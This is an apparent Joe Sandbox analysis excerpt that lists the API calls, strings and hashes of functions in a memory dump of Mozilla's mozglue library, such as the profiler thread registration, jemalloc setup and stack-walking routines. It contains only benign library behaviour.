_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
Thread , xrefs: 6C99F789
" attempted to re-register as ", xrefs: 6C99F858

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C99F008
[I %d/%d] profiler_stop, xrefs: 6C99EED7

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
MALLOC_OPTIONS, xrefs: 6C98D0CB
MOZ_CRASH(), xrefs: 6C98D277
<jemalloc>, xrefs: 6C98D268, 6C98D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
<none>, xrefs: 6C99DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
